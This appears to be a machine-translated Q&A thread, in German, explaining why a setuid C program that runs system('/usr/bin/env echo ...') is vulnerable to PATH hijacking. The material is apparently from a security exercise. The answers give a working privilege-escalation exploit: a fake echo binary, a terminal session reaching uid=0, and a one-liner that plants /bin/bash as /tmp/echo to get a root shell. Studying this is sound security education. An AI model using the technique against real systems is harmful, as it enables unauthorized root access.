Was ist an diesem C-Code anfällig?

Lesezeit: 4 Minuten

Benutzer-Avatar
Quantenkatastrophe

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

So wie ich es verstehe, ermöglicht der obige Code die Ausführung von beliebigem Code (oder Programm) – was macht dies anfällig und wie nutzt man das aus?

  • Warum glauben Sie, dass dies die Ausführung willkürlichen Codes ermöglicht?

    – Oliver Charlesworth

    29. November 2011 um 0:48 Uhr

  • Nun, um ehrlich zu sein, nehme ich es im blinden Glauben. Ich bin ein Sicherheitsstudent, ich habe mir anfälligen Code angesehen, und ich habe das gesehen, es steht im Buch, dass es so ist, aber es erklärt dieses spezielle Beispiel nicht.

    – Quantenkatastrophe

    29. November 2011 um 0:50 Uhr

  • Vielleicht beziehen Sie sich auf den Systemaufruf? Ich bin kein Experte auf diesem Gebiet, aber das ist das einzige, was für mich irgendwie seltsam aussieht. Kein Pufferüberlauf oder ähnliches.

    – Michael Dorgan

    29. November 2011 um 0:51 Uhr

  • @quantumdisaster: Welches Buch ist das?

    – Oliver Charlesworth

    29. November 2011 um 0:52 Uhr

  • Könnte von hier stammen: Exploit-Übungen.com/nebula/level01

    – jordanpg

    4. Januar 2014 um 19:01 Uhr

Benutzer-Avatar
Adam Zalcman

Sie können die überschreiben PATH -Variable, die auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von verweist echo und da echo wird mit ausgeführt envwird es nicht als integriert behandelt.

Dies stellt nur dann eine Schwachstelle dar, wenn der Code als privilegierter Benutzer ausgeführt wird.

Im Beispiel unten enthält die Datei vc den Code aus der Frage.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Beachten Sie, dass die Einstellung von realer Benutzer-ID, effektiver Benutzer-ID und gespeicherter Set-Benutzer-ID durch einen Aufruf erfolgt setresuid() vor dem Aufruf an system() in dem anfälligen Code, der in der Frage gepostet wurde, ermöglicht es, die Sicherheitsanfälligkeit auszunutzen, selbst wenn nur die effektive Benutzer-ID auf eine privilegierte Benutzer-ID festgelegt ist und die echte Benutzer-ID nicht privilegiert bleibt (wie dies beispielsweise der Fall ist, wenn man sich auf das set-user-ID-Bit verlässt). eine Datei wie oben). Ohne den Anruf zu setresuid() die Muschel lief vorbei system() würde die effektive Benutzer-ID auf die echte Benutzer-ID zurücksetzen, wodurch der Exploit unwirksam würde. Wenn jedoch der anfällige Code mit der echten Benutzer-ID eines privilegierten Benutzers ausgeführt wird, system() Anruf allein reicht. Zitieren sh Manpage:

Wenn die Shell mit der effektiven Benutzer- (Gruppen-) ID gestartet wird, die nicht gleich der tatsächlichen Benutzer- (Gruppen-) ID ist, und die Option -p nicht angegeben ist, werden keine Startdateien gelesen, Shell-Funktionen werden nicht von der Umgebung, den SHELLOPTS, geerbt -Variable wird ignoriert, wenn sie in der Umgebung erscheint, und die effektive Benutzer-ID wird auf die tatsächliche Benutzer-ID gesetzt. Wenn die Option -p beim Aufruf angegeben wird, ist das Startverhalten dasselbe, aber die effektive Benutzer-ID wird nicht zurückgesetzt.

Beachte das auch setresuid() ist nicht tragbar, aber setuid() oder setreuid() können auch mit dem gleichen Effekt verwendet werden.

  • Nur neugierig … wie kommt der PATH dazu? Ich hätte gedacht, da der vollständige Pfad zu “env” angegeben wird, würde der PATH nicht durchsucht werden. Wenn natürlich jemand die Berechtigung hätte, ein böses Programm in /usr/bin/env abzulegen, würde es Ärger geben.

    – Ron

    29. November 2011 um 0:56 Uhr

  • env sucht PATH finden echo.

    – Rob Napier

    29. November 2011 um 0:58 Uhr

  • Können Sie die Umgebung tatsächlich überschreiben, wenn das Programm als SUID-Root ausgeführt wird?

    – Kerrek SB

    29. November 2011 um 1:01 Uhr

  • @KerrekSB: execvpeermöglicht es Ihnen beispielsweise, die Umgebung, in der die Anwendung ausgeführt wird, explizit festzulegen. Now env selbst wurde entwickelt, um die Umgebung zu modifizieren, daher bin ich mir nicht sicher, wie sich dies auswirken würde.

    – Bill Lynch

    3. Januar 2012 um 2:11 Uhr

naja eigentlich kann man mit dem systemfunktionsaufruf rumspielen echo Befehl. zum Beispiel, wenn Sie den folgenden Code ausführen:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Sie erhalten eine Shell mit der Berechtigung des Dateibesitzers

1385340cookie-checkWas ist an diesem C-Code anfällig?

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy